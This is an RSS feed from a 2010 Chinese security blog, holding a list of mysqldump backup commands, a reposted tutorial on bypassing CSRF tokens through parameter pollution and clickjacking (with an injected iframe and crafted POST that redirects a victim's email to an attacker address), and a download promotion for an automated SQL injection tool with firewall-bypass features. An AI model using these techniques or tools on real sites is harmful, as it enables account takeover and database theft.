<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://feed.huairen.me/styles/feedsky8.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link href="http://feed.huairen.me" type="application/rss+xml" rel="self"></atom:link><fs:self_link href="http://feed.feedsky.com/badcoffee" type="application/rss+xml"></fs:self_link><lastBuildDate>Mon, 08 Mar 2010 02:56:14 GMT</lastBuildDate><title>坏人咖啡的窝</title><description>做一个简简单单的坏人</description><link>http://huairen.me</link><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><xhtml:meta name="robots" content="noindex"></xhtml:meta><language>en</language><pubDate>Mon, 08 Mar 2010 02:56:14 GMT</pubDate><item><title>mysql数据库备份命令</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/339782982/5987391/1/item.html</link><content:encoded>&lt;p&gt;1:备份MySQL数据库为带删除表的格式&lt;/p&gt;
&lt;p&gt;  mysqldump -hhostname -uusername -ppassword databasename &amp;gt; backupfile.sql&lt;/p&gt;
&lt;p&gt;2:备份MySQL数据库为带删除表的格式，能够让该备份覆盖已有数据库而不需要手动删除原有数据库.&lt;/p&gt;
&lt;p&gt; mysqldump -–add-drop-table -uusername -ppassword databasename &amp;gt; backupfile.sql&lt;br /&gt;
3:直接将MySQL数据库压缩备份&lt;br /&gt;
mysqldump -hhostname -uusername -ppassword databasename | gzip &amp;gt; backupfile.sql.gz&lt;/p&gt;
&lt;p&gt;4:备份MySQL数据库某个(些)表&lt;br /&gt;
mysqldump -hhostname -uusername -ppassword databasename specific_table1 specific_table2 &amp;gt; backupfile.sql&lt;br /&gt;
5:同时备份多个MySQL数据库&lt;br /&gt;
mysqldump -hhostname -uusername -ppassword –databases databasename1 databasename2 databasename3 &amp;gt; multibackupfile.sql&lt;br /&gt;
6:仅仅备份数据库结构&lt;br /&gt;
mysqldump –no-data –databases databasename1 databasename2 databasename3 &amp;gt; structurebackupfile.sql&lt;/p&gt;
&lt;p&gt;7:备份服务器上所有数据库&lt;br /&gt;
mysqldump –all-databases &amp;gt; allbackupfile.sql&lt;br /&gt;
8:还原MySQL数据库的命令&lt;br /&gt;
mysql -hhostname -uusername -ppassword databasename &amp;lt; backupfile.sql&lt;br /&gt;
9:还原压缩的MySQL数据库&lt;br /&gt;
gunzip &amp;lt; backupfile.sql.gz | mysql -uusername -ppassword databasename&lt;br /&gt;
10:将数据库转移到新服务器&lt;br /&gt;
mysqldump -uusername -ppassword databasename | mysql –host=*.*.*.* -C databasename&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/339782982/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/339782982/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/339782982/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/339782982/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=25578ab1e09e606aad123b0ca41dd0af&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=25578ab1e09e606aad123b0ca41dd0af&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=63e704af3c01d8d694757517308fa872&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=63e704af3c01d8d694757517308fa872&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=51dceed4cf1c535ce521c78e2f565d0c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=51dceed4cf1c535ce521c78e2f565d0c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6b779b276da66bce4c6f8d4818ae6fb3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6b779b276da66bce4c6f8d4818ae6fb3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d013cb49dc9fe48547ffc9110b213a58&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d013cb49dc9fe48547ffc9110b213a58&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=dfffcf9e4d9574ce3a2e666e1bd212da&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=dfffcf9e4d9574ce3a2e666e1bd212da&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=84f0bd39e2388a44243ffa8ab88eac52&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=84f0bd39e2388a44243ffa8ab88eac52&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=e78cb389322bf1286cfc6f911df99cca&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=e78cb389322bf1286cfc6f911df99cca&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=415a85f36b6dedc7b4879709a6af36df&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=415a85f36b6dedc7b4879709a6af36df&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/380.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>1:备份MySQL数据库为带删除表的格式
  mysqldump -hhostname -uusername -ppassword databasename &amp;#62; backupfile.sql
2:备份MySQL数据库为带删除表的格式，能够让该备份覆盖已有数据库而不需要手动删除原有数据库.
 mysqldump -–add-drop-table -uusername -ppassword databasename &amp;#62; backupfile.sql
3:直接将MySQL数据库压缩备份
mysqldump -hhostname -uusername -ppassword databasename &amp;#124; gzip &amp;#62; backupfile.sql.gz
4:备份MySQL数据库某个(些)表
mysqldump -hhostname -uusername -ppassword databasename specific_table1 specific_table2 &amp;#62; backupfile.sql
5:同时备份多个MySQL数据库
mysqldump -hhostname -uusername -ppassword –databases databasename1 databasename2 databasename3 &amp;#62; multibackupfile.sql
6:仅仅备份数据库结构
mysqldump –no-data –databases databasename1 databasename2 databasename3 &amp;#62; structurebackupfile.sql
7:备份服务器上所有数据库
mysqldump –all-databases &amp;#62; allbackupfile.sql
8:还原MySQL数据库的命令
mysql -hhostname -uusername -ppassword databasename &amp;#60; backupfile.sql
9:还原压缩的MySQL数据库
gunzip [...]&lt;img src=&quot;http://www1.feedsky.com/t1/339782982/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/339782982/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/339782982/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/339782982/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=25578ab1e09e606aad123b0ca41dd0af&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=25578ab1e09e606aad123b0ca41dd0af&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=63e704af3c01d8d694757517308fa872&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=63e704af3c01d8d694757517308fa872&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=51dceed4cf1c535ce521c78e2f565d0c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=51dceed4cf1c535ce521c78e2f565d0c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6b779b276da66bce4c6f8d4818ae6fb3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6b779b276da66bce4c6f8d4818ae6fb3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d013cb49dc9fe48547ffc9110b213a58&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d013cb49dc9fe48547ffc9110b213a58&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=dfffcf9e4d9574ce3a2e666e1bd212da&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=dfffcf9e4d9574ce3a2e666e1bd212da&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=84f0bd39e2388a44243ffa8ab88eac52&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=84f0bd39e2388a44243ffa8ab88eac52&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=e78cb389322bf1286cfc6f911df99cca&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=e78cb389322bf1286cfc6f911df99cca&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=415a85f36b6dedc7b4879709a6af36df&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=415a85f36b6dedc7b4879709a6af36df&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>命令</category><category>mysql</category><category>学习笔记</category><category>备份</category><category>数据库</category><pubDate>Mon, 08 Mar 2010 10:56:14 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/380.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=380</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/380.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/339782982/5987391</fs:itemid></item><item><title>绕过CSRF防御的一种方法</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844752/5987391/1/item.html</link><content:encoded>&lt;p&gt;作者：xisigr&lt;/p&gt;
&lt;p&gt;CSRF产生的本质在于，WEB主要依赖于使用cookie来传递令牌。只要WEB应用程序依赖于HTTPcookie来传递会话令牌，那么本身就存在攻击的可能性。所以，Monyer着手从cookie上面来防御CSRF的思路还是很赞的。&lt;br /&gt;
Monyer的两篇文章：&lt;/p&gt;
&lt;p&gt;http://hi.baidu.com/monyer/blog/item/6097347a958babe62e73b3bf.html&lt;/p&gt;
&lt;p&gt;http://hi.baidu.com/monyer/blog/item/00427989bbf8edb80e244420.html&lt;/p&gt;
&lt;p&gt;防御CSRF现在最普遍的方法是使用token。通常，在第一阶段应用程序在一个隐藏的表单字段中放入一个token；在第二个阶段，程序确认这个 token是否被提交。由于CRSF是单向性的，因此实施攻击的WEB站点无法从第一个阶段获取到token,然后再第二阶段提交。如果程序使用这两个步骤，但并不保证token安全，那么这种防御就是形同虚设，因此CSRF攻击者只需轮流提出两个必要的请求，或是直接进入第二个求情。&lt;/p&gt;
&lt;p&gt;现在例举在JSP和ASP.NET平台下，绕过CSRF保护的一种方法。&lt;/p&gt;
&lt;p&gt;一个简单的升级Email ID的例子，服务端程序使用了token来防止csrf攻击：&lt;/p&gt;
&lt;p&gt;客户端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;lt;form method=&quot;POST&quot;&amp;gt;
&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot;&amp;gt;&amp;lt;/input&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf-token&quot; value=&quot;a0a0a0a0a0a&quot;/&amp;gt;
&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&lt;span style=&quot;color: #ff0000;&quot;&gt;if ( request.parameter(&quot;email&quot;).isSet() &amp;amp;&amp;amp; request.parameter(&quot;csrf-token&quot;).isValid() )
{
//process the form and update the email ID
}
else
{
//display an empty form to the user (CSRF token included)
}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;
假设通过某些方法（例如：ClickJacking），攻击者在页面中插入下面一段代码：
&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;lt;iframe src=&quot;http://www.example.com/updateEmail.jsp?email=evil@attackermail.com&quot;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后使用ClickJacking发送到服务器请求。请求提交内容为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

&lt;span style=&quot;color: #ff0000;&quot;&gt;
POST /updateEmail.jsp?email=evil@attackermail.com HTTP/1.1
Host: www.example.com

email=&amp;amp;csrf-token=a0a0a0a0a0&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在POST数据中email的参数是空。&lt;/p&gt;
&lt;p&gt;现在我们请求了两个“email”参数，一个在POST中，一个在QueryString中。当服务端request.parameter(&amp;#8220;email&amp;#8221;)时,取出的将是QueryString中的数据，而不是POST中的。这样我们就更新了攻击者的Email。&lt;/p&gt;
&lt;p&gt;相关资料：http://blog.andlabs.org/2010/03/bypassing-csrf-protections- with.html （在这篇文章中，作者是想通过ClickJacking和HPP这两种攻击方式的组合来绕过CSRF防御，但我们不要陷入ClickJacking和 HPP这两概念上，只要看到过程和结果都是正确的就好。）&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/338844752/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844752/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844752/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844752/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=09bdefe35aaedf6de1e8d4c355ccbee3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=09bdefe35aaedf6de1e8d4c355ccbee3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=09926aa5facb8a9e3880ca7bb2c4e3c7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=09926aa5facb8a9e3880ca7bb2c4e3c7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=01d4f396806d9c715cc59580d68e8961&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=01d4f396806d9c715cc59580d68e8961&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6faafada58cd58b716992f98bc141c12&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6faafada58cd58b716992f98bc141c12&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=14d102986831b3bb33b0647e3e01018e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=14d102986831b3bb33b0647e3e01018e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=8a7e6c1edba88a6ae977c3b76593edc7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=8a7e6c1edba88a6ae977c3b76593edc7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d375f5c6330d0981dc91f4cbc58fac69&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d375f5c6330d0981dc91f4cbc58fac69&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b7be452fe4dddfbdc62de664507dac2d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b7be452fe4dddfbdc62de664507dac2d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6006011058dccced50da761841dfaba5&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6006011058dccced50da761841dfaba5&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/378.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>作者：xisigr
CSRF产生的本质在于，WEB主要依赖于使用cookie来传递令牌。只要WEB应用程序依赖于HTTPcookie来传递会话令牌，那么本身就存在攻击的可能性。所以，Monyer着手从cookie上面来防御CSRF的思路还是很赞的。
Monyer的两篇文章：
http://hi.baidu.com/monyer/blog/item/6097347a958babe62e73b3bf.html
http://hi.baidu.com/monyer/blog/item/00427989bbf8edb80e244420.html
防御CSRF现在最普遍的方法是使用token。通常，在第一阶段应用程序在一个隐藏的表单字段中放入一个token；在第二个阶段，程序确认这个 token是否被提交。由于CRSF是单向性的，因此实施攻击的WEB站点无法从第一个阶段获取到token,然后再第二阶段提交。如果程序使用这两个步骤，但并不保证token安全，那么这种防御就是形同虚设，因此CSRF攻击者只需轮流提出两个必要的请求，或是直接进入第二个求情。
现在例举在JSP和ASP.NET平台下，绕过CSRF保护的一种方法。
一个简单的升级Email ID的例子，服务端程序使用了token来防止csrf攻击：
客户端：
&amp;#60;form method=&quot;POST&quot;&amp;#62;
&amp;#60;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot;&amp;#62;&amp;#60;/input&amp;#62;
&amp;#60;input type=&quot;hidden&quot; name=&quot;csrf-token&quot; value=&quot;a0a0a0a0a0a&quot;/&amp;#62;
&amp;#60;/form&amp;#62;

服务端：

if ( request.parameter(&quot;email&quot;).isSet() &amp;#38;&amp;#38; request.parameter(&quot;csrf-token&quot;).isValid() )
{
//process the form and update the email ID
}
else
{
//display an empty form to the user (CSRF token included)
}


假设通过某些方法（例如：ClickJacking），攻击者在页面中插入下面一段代码：
&amp;#60;iframe src=&quot;http://www.example.com/updateEmail.jsp?email=evil@attackermail.com&quot;&amp;#62;

然后使用ClickJacking发送到服务器请求。请求提交内容为：



POST /updateEmail.jsp?email=evil@attackermail.com HTTP/1.1
Host: www.example.com

email=&amp;#38;csrf-token=a0a0a0a0a0


在POST数据中email的参数是空。
现在我们请求了两个“email”参数，一个在POST中，一个在QueryString中。当服务端request.parameter(&amp;#8220;email&amp;#8221;)时,取出的将是QueryString中的数据，而不是POST中的。这样我们就更新了攻击者的Email。
相关资料：http://blog.andlabs.org/2010/03/bypassing-csrf-protections- with.html （在这篇文章中，作者是想通过ClickJacking和HPP这两种攻击方式的组合来绕过CSRF防御，但我们不要陷入ClickJacking和 HPP这两概念上，只要看到过程和结果都是正确的就好。）&lt;img src=&quot;http://www1.feedsky.com/t1/338844752/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844752/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844752/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844752/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=09bdefe35aaedf6de1e8d4c355ccbee3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=09bdefe35aaedf6de1e8d4c355ccbee3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=09926aa5facb8a9e3880ca7bb2c4e3c7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=09926aa5facb8a9e3880ca7bb2c4e3c7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=01d4f396806d9c715cc59580d68e8961&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=01d4f396806d9c715cc59580d68e8961&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6faafada58cd58b716992f98bc141c12&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6faafada58cd58b716992f98bc141c12&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=14d102986831b3bb33b0647e3e01018e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=14d102986831b3bb33b0647e3e01018e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=8a7e6c1edba88a6ae977c3b76593edc7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=8a7e6c1edba88a6ae977c3b76593edc7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d375f5c6330d0981dc91f4cbc58fac69&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d375f5c6330d0981dc91f4cbc58fac69&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b7be452fe4dddfbdc62de664507dac2d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b7be452fe4dddfbdc62de664507dac2d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6006011058dccced50da761841dfaba5&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6006011058dccced50da761841dfaba5&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>学习笔记</category><category>攻击</category><category>CSRF</category><pubDate>Fri, 05 Mar 2010 16:05:53 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/378.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=378</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/378.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/338844752/5987391</fs:itemid></item><item><title>Safe3 SQL Injector 3.0免费版</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844753/5987391/1/item.html</link><content:encoded>&lt;p&gt;来源：&lt;a href=&quot;http://www.woyigui.cn/Safe3-SQL-Injector-3-0/&quot; target=&quot;_blank&quot;&gt;woyigui&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://huairen.me/wp-content/uploads/2010020217191753.jpg&quot;&gt;&lt;img class=&quot;alignnone size-medium wp-image-375&quot; title=&quot;2010020217191753&quot; src=&quot;http://huairen.me/wp-content/uploads/2010020217191753-300x104.jpg&quot; alt=&quot;&quot; width=&quot;300&quot; height=&quot;104&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;大牛的作品应该很不错&lt;/p&gt;
&lt;p&gt;以下是功能介绍&lt;/p&gt;
&lt;p&gt;1.全面支持HTTP类型&lt;/p&gt;
&lt;p&gt;    * 支持HTTP 1.0/1.1；&lt;br /&gt;
    * 支持POST/GET /Cookie方法；&lt;br /&gt;
    * 支持Basic/NTLM /Digest验证；&lt;br /&gt;
    * 支持基于公钥或者私钥的 SSL；&lt;/p&gt;
&lt;p&gt;2.全面的数据库类型识别   &lt;a name=&quot;entrymore&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;    * 支持MS Access；&lt;br /&gt;
    * 支持MS SQL Server；&lt;br /&gt;
    * 支持Mysql Server；&lt;br /&gt;
    * 支持Oracle Server；&lt;br /&gt;
    * 支持Postgre SQL Server；&lt;br /&gt;
    * 支持 Informix SQL Server；&lt;br /&gt;
    * 支持Sybase SQL Server；&lt;br /&gt;
    * 支持DB2 SQL Server；&lt;br /&gt;
    * 支持Sqlite；&lt;/p&gt;
&lt;p&gt;3.诸多领先技术&lt;/p&gt;
&lt;p&gt;    * 全自动智能网页编码识别，告别数据库乱码；&lt;br /&gt;
    * 内置自动智能关键字分析，无需人工干预；&lt;br /&gt;
    * 支持 Error/Union/Blind等丰富sql注入方式，确保能获取数据；&lt;br /&gt;
    * 丰富的绕过防火墙过滤功能；&lt;br /&gt;
    * 内置浏览器可以注入需要登录的网站；&lt;br /&gt;
有兴趣的朋友可以试试！&lt;/p&gt;
&lt;p&gt;文件下载：&lt;a href=&quot;http://huairen.me/wp-content/uploads/Safe3SQLInjector3.0免费版.zip&quot;&gt;Safe3SQLInjector3.0免费版&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/338844753/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844753/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844753/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844753/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=4dcdddce6a1a76e400b39db4339bb49d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=4dcdddce6a1a76e400b39db4339bb49d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a 